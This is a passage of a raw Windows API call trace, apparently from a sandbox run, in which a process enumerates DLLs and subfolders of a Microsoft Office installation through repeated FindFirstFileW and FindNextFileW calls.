lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.INTL.DLL", cAlternateFileName="STSUPL~1.DLL")) returned 1 [0235.008] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29048, dwReserved0=0x0, dwReserved1=0x0, cFileName="UcAddinRes.dll", cAlternateFileName="UCADDI~1.DLL")) returned 1 [0235.008] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca99edb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a048, dwReserved0=0x0, dwReserved1=0x0, cFileName="UccApiRes.dll", cAlternateFileName="UCCAPI~1.DLL")) returned 1 [0235.008] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca99edb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x411f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAOWS10.CHM", cAlternateFileName="")) returned 1 [0235.008] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0235.008] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 0 [0235.008] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0235.009] GetProcessHeap () returned 0xc10000 [0235.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0235.009] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0235.009] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0235.009] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0235.009] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0235.009] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a1d539, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a1d539, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75cf220, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75cf220, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9f15ef0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa15225b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa15225b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa616dcb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff7e33c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0235.010] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa15225b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa15225b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2834f0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa15225b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa15225b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e572fe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSharingChromeHook.dll", cAlternateFileName="APPSHA~1.DLL")) returned 1 [0235.011] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSharingHookController.exe", cAlternateFileName="APPSHA~1.EXE")) returned 1 [0235.012] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0235.343] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0235.343] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e310c7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AutoHelper.dll", cAlternateFileName="AUTOHE~1.DLL")) returned 1 [0235.343] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0235.344] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b740, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0235.344] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DCF", cAlternateFileName="")) returned 1 [0235.344] GetProcessHeap () returned 0xc10000 [0235.344] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0235.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0235.388] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.405] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0235.406] GetProcessHeap () returned 0xc10000 [0235.406] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0235.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0235.407] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4848, dwReserved0=0x0, dwReserved1=0x0, cFileName="NATIVESHIM.RESOURCES.DLL", cAlternateFileName="NATIVE~1.DLL")) returned 1 [0235.407] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4848, dwReserved0=0x0, dwReserved1=0x0, cFileName="NATIVESHIM.RESOURCES.DLL", cAlternateFileName="NATIVE~1.DLL")) returned 0 [0235.407] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0235.408] GetProcessHeap () returned 0xc10000 [0235.408] HeapFree (in: 